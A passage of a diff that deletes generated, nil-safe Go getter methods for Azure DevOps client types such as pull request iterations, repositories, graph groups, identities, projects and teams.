- return nil - } - return g.CommonRefCommit -} - -// GetCreatedDate returns the CreatedDate field. -func (g *GitPullRequestIteration) GetCreatedDate() *Time { - if g == nil { - return nil - } - return g.CreatedDate -} - -// GetDescription returns the Description field if it's non-nil, zero value otherwise. -func (g *GitPullRequestIteration) GetDescription() string { - if g == nil || g.Description == nil { - return "" - } - return *g.Description -} - -// GetHasMoreCommits returns the HasMoreCommits field if it's non-nil, zero value otherwise. -func (g *GitPullRequestIteration) GetHasMoreCommits() bool { - if g == nil || g.HasMoreCommits == nil { - return false - } - return *g.HasMoreCommits -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (g *GitPullRequestIteration) GetID() int { - if g == nil || g.ID == nil { - return 0 - } - return *g.ID -} - -// GetNewTargetRefName returns the NewTargetRefName field if it's non-nil, zero value otherwise. -func (g *GitPullRequestIteration) GetNewTargetRefName() string { - if g == nil || g.NewTargetRefName == nil { - return "" - } - return *g.NewTargetRefName -} - -// GetOldTargetRefName returns the OldTargetRefName field if it's non-nil, zero value otherwise. -func (g *GitPullRequestIteration) GetOldTargetRefName() string { - if g == nil || g.OldTargetRefName == nil { - return "" - } - return *g.OldTargetRefName -} - -// GetPush returns the Push field. -func (g *GitPullRequestIteration) GetPush() *GitPushRef { - if g == nil { - return nil - } - return g.Push -} - -// GetReason returns the Reason field if it's non-nil, zero value otherwise. -func (g *GitPullRequestIteration) GetReason() string { - if g == nil || g.Reason == nil { - return "" - } - return *g.Reason -} - -// GetSourceRefCommit returns the SourceRefCommit field. -func (g *GitPullRequestIteration) GetSourceRefCommit() *GitCommitRef { - if g == nil { - return nil - } - return g.SourceRefCommit -} - -// GetTargetRefCommit returns the TargetRefCommit field. -func (g *GitPullRequestIteration) GetTargetRefCommit() *GitCommitRef { - if g == nil { - return nil - } - return g.TargetRefCommit -} - -// GetUpdatedDate returns the UpdatedDate field. -func (g *GitPullRequestIteration) GetUpdatedDate() *Time { - if g == nil { - return nil - } - return g.UpdatedDate -} - -// GetNextSkip returns the NextSkip field if it's non-nil, zero value otherwise. -func (g *GitPullRequestIterationChanges) GetNextSkip() int { - if g == nil || g.NextSkip == nil { - return 0 - } - return *g.NextSkip -} - -// GetNextTop returns the NextTop field if it's non-nil, zero value otherwise. -func (g *GitPullRequestIterationChanges) GetNextTop() int { - if g == nil || g.NextTop == nil { - return 0 - } - return *g.NextTop -} - -// GetDetectRenameFalsePositives returns the DetectRenameFalsePositives field if it's non-nil, zero value otherwise. -func (g *GitPullRequestMergeOptions) GetDetectRenameFalsePositives() bool { - if g == nil || g.DetectRenameFalsePositives == nil { - return false - } - return *g.DetectRenameFalsePositives -} - -// GetDisableRenames returns the DisableRenames field if it's non-nil, zero value otherwise. -func (g *GitPullRequestMergeOptions) GetDisableRenames() bool { - if g == nil || g.DisableRenames == nil { - return false - } - return *g.DisableRenames -} - -// GetIterationID returns the IterationID field if it's non-nil, zero value otherwise. -func (g *GitPullRequestStatus) GetIterationID() int { - if g == nil || g.IterationID == nil { - return 0 - } - return *g.IterationID -} - -// GetComment returns the Comment field. -func (g *GitPullRequestWithComment) GetComment() *Comment { - if g == nil { - return nil - } - return g.Comment -} - -// GetPullRequest returns the PullRequest field. -func (g *GitPullRequestWithComment) GetPullRequest() *GitPullRequest { - if g == nil { - return nil - } - return g.PullRequest -} - -// GetDate returns the Date field. -func (g *GitPush) GetDate() *Time { - if g == nil { - return nil - } - return g.Date -} - -// GetLinks returns the Links field if it's non-nil, zero value otherwise. -func (g *GitPush) GetLinks() map[string]Link { - if g == nil || g.Links == nil { - return map[string]Link{} - } - return *g.Links -} - -// GetPushedBy returns the PushedBy field. -func (g *GitPush) GetPushedBy() *IdentityRef { - if g == nil { - return nil - } - return g.PushedBy -} - -// GetPushID returns the PushID field if it's non-nil, zero value otherwise. -func (g *GitPush) GetPushID() int { - if g == nil || g.PushID == nil { - return 0 - } - return *g.PushID -} - -// GetRepository returns the Repository field. -func (g *GitPush) GetRepository() *GitRepository { - if g == nil { - return nil - } - return g.Repository -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (g *GitPush) GetURL() string { - if g == nil || g.URL == nil { - return "" - } - return *g.URL -} - -// GetRepository returns the Repository field. -func (g *GitPushRef) GetRepository() *GitRepository { - if g == nil { - return nil - } - return g.Repository -} - -// GetCreator returns the Creator field. -func (g *GitRef) GetCreator() *IdentityRef { - if g == nil { - return nil - } - return g.Creator -} - -// GetIsLocked returns the IsLocked field if it's non-nil, zero value otherwise. -func (g *GitRef) GetIsLocked() bool { - if g == nil || g.IsLocked == nil { - return false - } - return *g.IsLocked -} - -// GetIsLockedBy returns the IsLockedBy field. -func (g *GitRef) GetIsLockedBy() *IdentityRef { - if g == nil { - return nil - } - return g.IsLockedBy -} - -// GetLinks returns the Links field if it's non-nil, zero value otherwise. -func (g *GitRef) GetLinks() map[string]Link { - if g == nil || g.Links == nil { - return map[string]Link{} - } - return *g.Links -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (g *GitRef) GetName() string { - if g == nil || g.Name == nil { - return "" - } - return *g.Name -} - -// GetObjectID returns the ObjectID field if it's non-nil, zero value otherwise. -func (g *GitRef) GetObjectID() string { - if g == nil || g.ObjectID == nil { - return "" - } - return *g.ObjectID -} - -// GetPeeledObjectID returns the PeeledObjectID field if it's non-nil, zero value otherwise. -func (g *GitRef) GetPeeledObjectID() string { - if g == nil || g.PeeledObjectID == nil { - return "" - } - return *g.PeeledObjectID -} - -// GetRepository returns the Repository field. -func (g *GitRef) GetRepository() *GitRepository { - if g == nil { - return nil - } - return g.Repository -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (g *GitRef) GetURL() string { - if g == nil || g.URL == nil { - return "" - } - return *g.URL -} - -// GetIsLocked returns the IsLocked field if it's non-nil, zero value otherwise. -func (g *GitRefUpdate) GetIsLocked() bool { - if g == nil || g.IsLocked == nil { - return false - } - return *g.IsLocked -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (g *GitRefUpdate) GetName() string { - if g == nil || g.Name == nil { - return "" - } - return *g.Name -} - -// GetNewObjectID returns the NewObjectID field if it's non-nil, zero value otherwise. -func (g *GitRefUpdate) GetNewObjectID() string { - if g == nil || g.NewObjectID == nil { - return "" - } - return *g.NewObjectID -} - -// GetOldObjectID returns the OldObjectID field if it's non-nil, zero value otherwise. -func (g *GitRefUpdate) GetOldObjectID() string { - if g == nil || g.OldObjectID == nil { - return "" - } - return *g.OldObjectID -} - -// GetRepositoryID returns the RepositoryID field if it's non-nil, zero value otherwise. -func (g *GitRefUpdate) GetRepositoryID() string { - if g == nil || g.RepositoryID == nil { - return "" - } - return *g.RepositoryID -} - -// GetDefaultBranch returns the DefaultBranch field if it's non-nil, zero value otherwise. -func (g *GitRepository) GetDefaultBranch() string { - if g == nil || g.DefaultBranch == nil { - return "" - } - return *g.DefaultBranch -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (g *GitRepository) GetID() string { - if g == nil || g.ID == nil { - return "" - } - return *g.ID -} - -// GetIsFork returns the IsFork field if it's non-nil, zero value otherwise. -func (g *GitRepository) GetIsFork() bool { - if g == nil || g.IsFork == nil { - return false - } - return *g.IsFork -} - -// GetLinks returns the Links field if it's non-nil, zero value otherwise. -func (g *GitRepository) GetLinks() map[string]Link { - if g == nil || g.Links == nil { - return map[string]Link{} - } - return *g.Links -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (g *GitRepository) GetName() string { - if g == nil || g.Name == nil { - return "" - } - return *g.Name -} - -// GetParentRepository returns the ParentRepository field. -func (g *GitRepository) GetParentRepository() *GitRepositoryRef { - if g == nil { - return nil - } - return g.ParentRepository -} - -// GetProject returns the Project field. -func (g *GitRepository) GetProject() *TeamProjectReference { - if g == nil { - return nil - } - return g.Project -} - -// GetRemoteURL returns the RemoteURL field if it's non-nil, zero value otherwise. -func (g *GitRepository) GetRemoteURL() string { - if g == nil || g.RemoteURL == nil { - return "" - } - return *g.RemoteURL -} - -// GetSize returns the Size field if it's non-nil, zero value otherwise. -func (g *GitRepository) GetSize() int { - if g == nil || g.Size == nil { - return 0 - } - return *g.Size -} - -// GetSSHURL returns the SSHURL field if it's non-nil, zero value otherwise. -func (g *GitRepository) GetSSHURL() string { - if g == nil || g.SSHURL == nil { - return "" - } - return *g.SSHURL -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (g *GitRepository) GetURL() string { - if g == nil || g.URL == nil { - return "" - } - return *g.URL -} - -// GetWebURL returns the WebURL field if it's non-nil, zero value otherwise. -func (g *GitRepository) GetWebURL() string { - if g == nil || g.WebURL == nil { - return "" - } - return *g.WebURL -} - -// GetCollection returns the Collection field. -func (g *GitRepositoryRef) GetCollection() *TeamProjectCollectionReference { - if g == nil { - return nil - } - return g.Collection -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (g *GitRepositoryRef) GetID() string { - if g == nil || g.ID == nil { - return "" - } - return *g.ID -} - -// GetIsFork returns the IsFork field if it's non-nil, zero value otherwise. -func (g *GitRepositoryRef) GetIsFork() bool { - if g == nil || g.IsFork == nil { - return false - } - return *g.IsFork -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (g *GitRepositoryRef) GetName() string { - if g == nil || g.Name == nil { - return "" - } - return *g.Name -} - -// GetProject returns the Project field. -func (g *GitRepositoryRef) GetProject() *TeamProjectReference { - if g == nil { - return nil - } - return g.Project -} - -// GetRemoteURL returns the RemoteURL field if it's non-nil, zero value otherwise. -func (g *GitRepositoryRef) GetRemoteURL() string { - if g == nil || g.RemoteURL == nil { - return "" - } - return *g.RemoteURL -} - -// GetSSHURL returns the SSHURL field if it's non-nil, zero value otherwise. -func (g *GitRepositoryRef) GetSSHURL() string { - if g == nil || g.SSHURL == nil { - return "" - } - return *g.SSHURL -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (g *GitRepositoryRef) GetURL() string { - if g == nil || g.URL == nil { - return "" - } - return *g.URL -} - -// GetContext returns the Context field. -func (g *GitStatus) GetContext() *GitStatusContext { - if g == nil { - return nil - } - return g.Context -} - -// GetCreatedBy returns the CreatedBy field. -func (g *GitStatus) GetCreatedBy() *IdentityRef { - if g == nil { - return nil - } - return g.CreatedBy -} - -// GetCreationDate returns the CreationDate field. -func (g *GitStatus) GetCreationDate() *Time { - if g == nil { - return nil - } - return g.CreationDate -} - -// GetDescription returns the Description field if it's non-nil, zero value otherwise. -func (g *GitStatus) GetDescription() string { - if g == nil || g.Description == nil { - return "" - } - return *g.Description -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (g *GitStatus) GetID() int { - if g == nil || g.ID == nil { - return 0 - } - return *g.ID -} - -// GetLinks returns the Links field if it's non-nil, zero value otherwise. -func (g *GitStatus) GetLinks() map[string]Link { - if g == nil || g.Links == nil { - return map[string]Link{} - } - return *g.Links -} - -// GetState returns the State field if it's non-nil, zero value otherwise. -func (g *GitStatus) GetState() string { - if g == nil || g.State == nil { - return "" - } - return *g.State -} - -// GetTargetURL returns the TargetURL field if it's non-nil, zero value otherwise. -func (g *GitStatus) GetTargetURL() string { - if g == nil || g.TargetURL == nil { - return "" - } - return *g.TargetURL -} - -// GetUpdatedDate returns the UpdatedDate field. -func (g *GitStatus) GetUpdatedDate() *Time { - if g == nil { - return nil - } - return g.UpdatedDate -} - -// GetGenre returns the Genre field if it's non-nil, zero value otherwise. -func (g *GitStatusContext) GetGenre() string { - if g == nil || g.Genre == nil { - return "" - } - return *g.Genre -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (g *GitStatusContext) GetName() string { - if g == nil || g.Name == nil { - return "" - } - return *g.Name -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (g *GitTemplate) GetName() string { - if g == nil || g.Name == nil { - return "" - } - return *g.Name -} - -// GetType returns the Type field if it's non-nil, zero value otherwise. -func (g *GitTemplate) GetType() string { - if g == nil || g.Type == nil { - return "" - } - return *g.Type -} - -// GetDate returns the Date field. -func (g *GitUserDate) GetDate() *Time { - if g == nil { - return nil - } - return g.Date -} - -// GetEmail returns the Email field if it's non-nil, zero value otherwise. -func (g *GitUserDate) GetEmail() string { - if g == nil || g.Email == nil { - return "" - } - return *g.Email -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (g *GitUserDate) GetName() string { - if g == nil || g.Name == nil { - return "" - } - return *g.Name -} - -// GetValue returns the Value field if it's non-nil, zero value otherwise. -func (g *GraphDescriptorResult) GetValue() string { - if g == nil || g.Value == nil { - return "" - } - return *g.Value -} - -// GetDescription returns the Description field if it's non-nil, zero value otherwise. -func (g *GraphGroup) GetDescription() string { - if g == nil || g.Description == nil { - return "" - } - return *g.Description -} - -// GetIsCrossProject returns the IsCrossProject field if it's non-nil, zero value otherwise. -func (g *GraphGroup) GetIsCrossProject() bool { - if g == nil || g.IsCrossProject == nil { - return false - } - return *g.IsCrossProject -} - -// GetIsDeleted returns the IsDeleted field if it's non-nil, zero value otherwise. -func (g *GraphGroup) GetIsDeleted() bool { - if g == nil || g.IsDeleted == nil { - return false - } - return *g.IsDeleted -} - -// GetIsGlobalScope returns the IsGlobalScope field if it's non-nil, zero value otherwise. -func (g *GraphGroup) GetIsGlobalScope() bool { - if g == nil || g.IsGlobalScope == nil { - return false - } - return *g.IsGlobalScope -} - -// GetIsRestrictedVisible returns the IsRestrictedVisible field if it's non-nil, zero value otherwise. -func (g *GraphGroup) GetIsRestrictedVisible() bool { - if g == nil || g.IsRestrictedVisible == nil { - return false - } - return *g.IsRestrictedVisible -} - -// GetLocalScopeID returns the LocalScopeID field if it's non-nil, zero value otherwise. -func (g *GraphGroup) GetLocalScopeID() string { - if g == nil || g.LocalScopeID == nil { - return "" - } - return *g.LocalScopeID -} - -// GetScopeID returns the ScopeID field if it's non-nil, zero value otherwise. -func (g *GraphGroup) GetScopeID() string { - if g == nil || g.ScopeID == nil { - return "" - } - return *g.ScopeID -} - -// GetScopeName returns the ScopeName field if it's non-nil, zero value otherwise. -func (g *GraphGroup) GetScopeName() string { - if g == nil || g.ScopeName == nil { - return "" - } - return *g.ScopeName -} - -// GetScopeType returns the ScopeType field if it's non-nil, zero value otherwise. -func (g *GraphGroup) GetScopeType() string { - if g == nil || g.ScopeType == nil { - return "" - } - return *g.ScopeType -} - -// GetSecuringHostID returns the SecuringHostID field if it's non-nil, zero value otherwise. -func (g *GraphGroup) GetSecuringHostID() string { - if g == nil || g.SecuringHostID == nil { - return "" - } - return *g.SecuringHostID -} - -// GetSpecialType returns the SpecialType field if it's non-nil, zero value otherwise. -func (g *GraphGroup) GetSpecialType() string { - if g == nil || g.SpecialType == nil { - return "" - } - return *g.SpecialType -} - -// GetDomain returns the Domain field if it's non-nil, zero value otherwise. -func (g *GraphMember) GetDomain() string { - if g == nil || g.Domain == nil { - return "" - } - return *g.Domain -} - -// GetMailAddress returns the MailAddress field if it's non-nil, zero value otherwise. -func (g *GraphMember) GetMailAddress() string { - if g == nil || g.MailAddress == nil { - return "" - } - return *g.MailAddress -} - -// GetPrincipalName returns the PrincipalName field if it's non-nil, zero value otherwise. -func (g *GraphMember) GetPrincipalName() string { - if g == nil || g.PrincipalName == nil { - return "" - } - return *g.PrincipalName -} - -// GetLegacyDescriptor returns the LegacyDescriptor field if it's non-nil, zero value otherwise. -func (g *GraphSubject) GetLegacyDescriptor() string { - if g == nil || g.LegacyDescriptor == nil { - return "" - } - return *g.LegacyDescriptor -} - -// GetOrigin returns the Origin field if it's non-nil, zero value otherwise. -func (g *GraphSubject) GetOrigin() string { - if g == nil || g.Origin == nil { - return "" - } - return *g.Origin -} - -// GetOriginID returns the OriginID field if it's non-nil, zero value otherwise. -func (g *GraphSubject) GetOriginID() string { - if g == nil || g.OriginID == nil { - return "" - } - return *g.OriginID -} - -// GetSubjectKind returns the SubjectKind field if it's non-nil, zero value otherwise. -func (g *GraphSubject) GetSubjectKind() string { - if g == nil || g.SubjectKind == nil { - return "" - } - return *g.SubjectKind -} - -// GetDescriptor returns the Descriptor field if it's non-nil, zero value otherwise. -func (g *GraphSubjectBase) GetDescriptor() string { - if g == nil || g.Descriptor == nil { - return "" - } - return *g.Descriptor -} - -// GetDisplayName returns the DisplayName field if it's non-nil, zero value otherwise. -func (g *GraphSubjectBase) GetDisplayName() string { - if g == nil || g.DisplayName == nil { - return "" - } - return *g.DisplayName -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (g *GraphSubjectBase) GetURL() string { - if g == nil || g.URL == nil { - return "" - } - return *g.URL -} - -// GetIsDeletedInOrigin returns the IsDeletedInOrigin field if it's non-nil, zero value otherwise. -func (g *GraphUser) GetIsDeletedInOrigin() bool { - if g == nil || g.IsDeletedInOrigin == nil { - return false - } - return *g.IsDeletedInOrigin -} - -// GetMetadataUpdateDate returns the MetadataUpdateDate field. -func (g *GraphUser) GetMetadataUpdateDate() *Time { - if g == nil { - return nil - } - return g.MetadataUpdateDate -} - -// GetMetaType returns the MetaType field if it's non-nil, zero value otherwise. -func (g *GraphUser) GetMetaType() string { - if g == nil || g.MetaType == nil { - return "" - } - return *g.MetaType -} - -// GetDescriptor returns the Descriptor field if it's non-nil, zero value otherwise. -func (i *IdentityRef) GetDescriptor() string { - if i == nil || i.Descriptor == nil { - return "" - } - return *i.Descriptor -} - -// GetDirectoryAlias returns the DirectoryAlias field if it's non-nil, zero value otherwise. -func (i *IdentityRef) GetDirectoryAlias() string { - if i == nil || i.DirectoryAlias == nil { - return "" - } - return *i.DirectoryAlias -} - -// GetDisplayName returns the DisplayName field if it's non-nil, zero value otherwise. -func (i *IdentityRef) GetDisplayName() string { - if i == nil || i.DisplayName == nil { - return "" - } - return *i.DisplayName -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (i *IdentityRef) GetID() string { - if i == nil || i.ID == nil { - return "" - } - return *i.ID -} - -// GetImageURL returns the ImageURL field if it's non-nil, zero value otherwise. -func (i *IdentityRef) GetImageURL() string { - if i == nil || i.ImageURL == nil { - return "" - } - return *i.ImageURL -} - -// GetInactive returns the Inactive field if it's non-nil, zero value otherwise. -func (i *IdentityRef) GetInactive() bool { - if i == nil || i.Inactive == nil { - return false - } - return *i.Inactive -} - -// GetIsAadIdentity returns the IsAadIdentity field if it's non-nil, zero value otherwise. -func (i *IdentityRef) GetIsAadIdentity() bool { - if i == nil || i.IsAadIdentity == nil { - return false - } - return *i.IsAadIdentity -} - -// GetIsContainer returns the IsContainer field if it's non-nil, zero value otherwise. -func (i *IdentityRef) GetIsContainer() bool { - if i == nil || i.IsContainer == nil { - return false - } - return *i.IsContainer -} - -// GetIsDeletedInOrigin returns the IsDeletedInOrigin field if it's non-nil, zero value otherwise. -func (i *IdentityRef) GetIsDeletedInOrigin() bool { - if i == nil || i.IsDeletedInOrigin == nil { - return false - } - return *i.IsDeletedInOrigin -} - -// GetLinks returns the Links field if it's non-nil, zero value otherwise. -func (i *IdentityRef) GetLinks() map[string]Link { - if i == nil || i.Links == nil { - return map[string]Link{} - } - return *i.Links -} - -// GetProfileURL returns the ProfileURL field if it's non-nil, zero value otherwise. -func (i *IdentityRef) GetProfileURL() string { - if i == nil || i.ProfileURL == nil { - return "" - } - return *i.ProfileURL -} - -// GetUniqueName returns the UniqueName field if it's non-nil, zero value otherwise. -func (i *IdentityRef) GetUniqueName() string { - if i == nil || i.UniqueName == nil { - return "" - } - return *i.UniqueName -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (i *IdentityRef) GetURL() string { - if i == nil || i.URL == nil { - return "" - } - return *i.URL -} - -// GetIsRequired returns the IsRequired field if it's non-nil, zero value otherwise. -func (i *IdentityRefWithVote) GetIsRequired() bool { - if i == nil || i.IsRequired == nil { - return false - } - return *i.IsRequired -} - -// GetReviewerURL returns the ReviewerURL field if it's non-nil, zero value otherwise. -func (i *IdentityRefWithVote) GetReviewerURL() string { - if i == nil || i.ReviewerURL == nil { - return "" - } - return *i.ReviewerURL -} - -// GetVote returns the Vote field if it's non-nil, zero value otherwise. -func (i *IdentityRefWithVote) GetVote() int { - if i == nil || i.Vote == nil { - return 0 - } - return *i.Vote -} - -// GetContent returns the Content field if it's non-nil, zero value otherwise. -func (i *ItemContent) GetContent() string { - if i == nil || i.Content == nil { - return "" - } - return *i.Content -} - -// GetContentType returns the ContentType field. -func (i *ItemContent) GetContentType() *ItemContentType { - if i == nil { - return nil - } - return i.ContentType -} - -// GetBase64Encoded returns the Base64Encoded field if it's non-nil, zero value otherwise. -func (i *ItemContentType) GetBase64Encoded() string { - if i == nil || i.Base64Encoded == nil { - return "" - } - return *i.Base64Encoded -} - -// GetRawText returns the RawText field if it's non-nil, zero value otherwise. -func (i *ItemContentType) GetRawText() string { - if i == nil || i.RawText == nil { - return "" - } - return *i.RawText -} - -// GetEndDate returns the EndDate field if it's non-nil, zero value otherwise. -func (i *Iteration) GetEndDate() string { - if i == nil || i.EndDate == nil { - return "" - } - return *i.EndDate -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (i *Iteration) GetID() string { - if i == nil || i.ID == nil { - return "" - } - return *i.ID -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (i *Iteration) GetName() string { - if i == nil || i.Name == nil { - return "" - } - return *i.Name -} - -// GetPath returns the Path field if it's non-nil, zero value otherwise. -func (i *Iteration) GetPath() string { - if i == nil || i.Path == nil { - return "" - } - return *i.Path -} - -// GetStartDate returns the StartDate field if it's non-nil, zero value otherwise. -func (i *Iteration) GetStartDate() string { - if i == nil || i.StartDate == nil { - return "" - } - return *i.StartDate -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (i *Iteration) GetURL() string { - if i == nil || i.URL == nil { - return "" - } - return *i.URL -} - -// GetLinks returns the Links field if it's non-nil, zero value otherwise. -func (i *IterationWorkItems) GetLinks() map[string]Link { - if i == nil || i.Links == nil { - return map[string]Link{} - } - return *i.Links -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (i *IterationWorkItems) GetURL() string { - if i == nil || i.URL == nil { - return "" - } - return *i.URL -} - -// GetHref returns the Href field if it's non-nil, zero value otherwise. -func (l *Link) GetHref() string { - if l == nil || l.Href == nil { - return "" - } - return *l.Href -} - -// GetCount returns the Count field if it's non-nil, zero value otherwise. -func (l *ListBoardsResponse) GetCount() int { - if l == nil || l.Count == nil { - return 0 - } - return *l.Count -} - -// GetHTML returns the HTML field if it's non-nil, zero value otherwise. -func (m *Message) GetHTML() string { - if m == nil || m.HTML == nil { - return "" - } - return *m.HTML -} - -// GetMarkdown returns the Markdown field if it's non-nil, zero value otherwise. -func (m *Message) GetMarkdown() string { - if m == nil || m.Markdown == nil { - return "" - } - return *m.Markdown -} - -// GetText returns the Text field if it's non-nil, zero value otherwise. -func (m *Message) GetText() string { - if m == nil || m.Text == nil { - return "" - } - return *m.Text -} - -// GetDescription returns the Description field if it's non-nil, zero value otherwise. -func (p *Project) GetDescription() string { - if p == nil || p.Description == nil { - return "" - } - return *p.Description -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (p *Project) GetID() string { - if p == nil || p.ID == nil { - return "" - } - return *p.ID -} - -// GetLastUpdateTime returns the LastUpdateTime field. -func (p *Project) GetLastUpdateTime() *Time { - if p == nil { - return nil - } - return p.LastUpdateTime -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (p *Project) GetName() string { - if p == nil || p.Name == nil { - return "" - } - return *p.Name -} - -// GetRevision returns the Revision field if it's non-nil, zero value otherwise. -func (p *Project) GetRevision() int { - if p == nil || p.Revision == nil { - return 0 - } - return *p.Revision -} - -// GetState returns the State field if it's non-nil, zero value otherwise. -func (p *Project) GetState() string { - if p == nil || p.State == nil { - return "" - } - return *p.State -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (p *Project) GetURL() string { - if p == nil || p.URL == nil { - return "" - } - return *p.URL -} - -// GetVisibility returns the Visibility field if it's non-nil, zero value otherwise. -func (p *Project) GetVisibility() string { - if p == nil || p.Visibility == nil { - return "" - } - return *p.Visibility -} - -// GetAccount returns the Account field. -func (r *ResourceContainers) GetAccount() *ResourceRef { - if r == nil { - return nil - } - return r.Account -} - -// GetCollection returns the Collection field. -func (r *ResourceContainers) GetCollection() *ResourceRef { - if r == nil { - return nil - } - return r.Collection -} - -// GetProject returns the Project field. -func (r *ResourceContainers) GetProject() *ResourceRef { - if r == nil { - return nil - } - return r.Project -} - -// GetBaseURL returns the BaseURL field if it's non-nil, zero value otherwise. -func (r *ResourceRef) GetBaseURL() string { - if r == nil || r.BaseURL == nil { - return "" - } - return *r.BaseURL -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (r *ResourceRef) GetID() string { - if r == nil || r.ID == nil { - return "" - } - return *r.ID -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (r *ResourceRef) GetURL() string { - if r == nil || r.URL == nil { - return "" - } - return *r.URL -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (t *TaskAgentPoolReference) GetID() int { - if t == nil || t.ID == nil { - return 0 - } - return *t.ID -} - -// GetIsHosted returns the IsHosted field if it's non-nil, zero value otherwise. -func (t *TaskAgentPoolReference) GetIsHosted() bool { - if t == nil || t.IsHosted == nil { - return false - } - return *t.IsHosted -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (t *TaskAgentPoolReference) GetName() string { - if t == nil || t.Name == nil { - return "" - } - return *t.Name -} - -// GetPlanID returns the PlanID field if it's non-nil, zero value otherwise. -func (t *TaskOrchestrationPlanReference) GetPlanID() string { - if t == nil || t.PlanID == nil { - return "" - } - return *t.PlanID -} - -// GetType returns the Type field if it's non-nil, zero value otherwise. -func (t *TaskOrchestrationPlanReference) GetType() int { - if t == nil || t.Type == nil { - return 0 - } - return *t.Type -} - -// GetDescription returns the Description field if it's non-nil, zero value otherwise. -func (t *Team) GetDescription() string { - if t == nil || t.Description == nil { - return "" - } - return *t.Description -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (t *Team) GetID() string { - if t == nil || t.ID == nil { - return "" - } - return *t.ID -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (t *Team) GetName() string { - if t == nil || t.Name == nil { - return "" - } - return *t.Name -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (t *Team) GetURL() string { - if t == nil || t.URL == nil { - return "" - } - return *t.URL -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (t *TeamProjectCollectionReference) GetID() string { - if t == nil || t.ID == nil { - return "" - } - return *t.ID -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (t *TeamProjectCollectionReference) GetName() string { - if t == nil || t.Name == nil { - return "" - } - return *t.Name -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (t *TeamProjectCollectionReference) GetURL() string { - if t == nil || t.URL == nil { - return "" - } - return *t.URL -} - -// GetAbbreviation returns the Abbreviation field if it's non-nil, zero value otherwise. -func (t *TeamProjectReference) GetAbbreviation() string { - if t == nil || t.Abbreviation == nil { - return "" - } - return *t.Abbreviation -} - -// GetDefaultTeamImageURL returns the DefaultTeamImageURL field if it's non-nil, zero value otherwise. -func (t *TeamProjectReference) GetDefaultTeamImageURL() string { - if t == nil || t.DefaultTeamImageURL == nil { - return "" - } - return *t.DefaultTeamImageURL -} - -// GetDescription returns the Description field if it's non-nil, zero value otherwise. -func (t *TeamProjectReference) GetDescription() string { - if t == nil || t.Description == nil { - return "" - } - return *t.Description -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (t *TeamProjectReference) GetID() string { - if t == nil || t.ID == nil { - return "" - } - return *t.ID -} - -// GetLastUpdateTime returns the LastUpdateTime field. -func (t *TeamProjectReference) GetLastUpdateTime() *Time { - if t == nil { - return nil - } - return t.LastUpdateTime -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (t *TeamProjectReference) GetName() string { - if t == nil || t.Name == nil { - return "" - } - return *t.Name -} - -// GetRevision returns the Revision field if it's non-nil, zero value otherwise. -func (t *TeamProjectReference) GetRevision() int { - if t == nil || t.Revision == nil { - return 0 - } - return *t.Revision -} - -// GetState returns the State field if it's non-nil, zero value otherwise. -func (t *TeamProjectReference) GetState() string { - if t == nil || t.State == nil { - return "" - } - return *t.State -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (t *TeamProjectReference) GetURL() string { - if t == nil || t.URL == nil { - return "" - } - return *t.URL -} - -// GetVisibility returns the Visibility field if it's non-nil, zero value otherwise. -func (t *TeamProjectReference) GetVisibility() string { - if t == nil || t.Visibility == nil { - return "" - } - return *t.Visibility -} - -// GetMine returns the Mine field if it's non-nil, zero value otherwise. -func (t *TeamsListOptions) GetMine() bool { - if t == nil || t.Mine == nil { - return false - } - return *t.Mine -} - -// GetSkip returns the Skip field if it's non-nil, zero value otherwise. -func (t *TeamsListOptions) GetSkip() int { - if t == nil || t.Skip == nil { - return 0 - } - return *t.Skip -} - -// GetTop returns the Top field if it's non-nil, zero value otherwise. -func (t *TeamsListOptions) GetTop() int { - if t == nil || t.Top == nil { - return 0 - } - return *t.Top -} - -// GetCompletedDate returns the CompletedDate field if it's non-nil, zero value otherwise. -func (t *Test) GetCompletedDate() string { - if t == nil || t.CompletedDate == nil { - return "" - } - return *t.CompletedDate -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (t *Test) GetID() int { - if t == nil || t.ID == nil { - return 0 - } - return *t.ID -} - -// GetIsAutomated returns the IsAutomated field if it's non-nil, zero value otherwise. -func (t *Test) GetIsAutomated() bool { - if t == nil || t.IsAutomated == nil { - return false - } - return *t.IsAutomated -} - -// GetIteration returns the Iteration field if it's non-nil, zero value otherwise. -func (t *Test) GetIteration() string { - if t == nil || t.Iteration == nil { - return "" - } - return 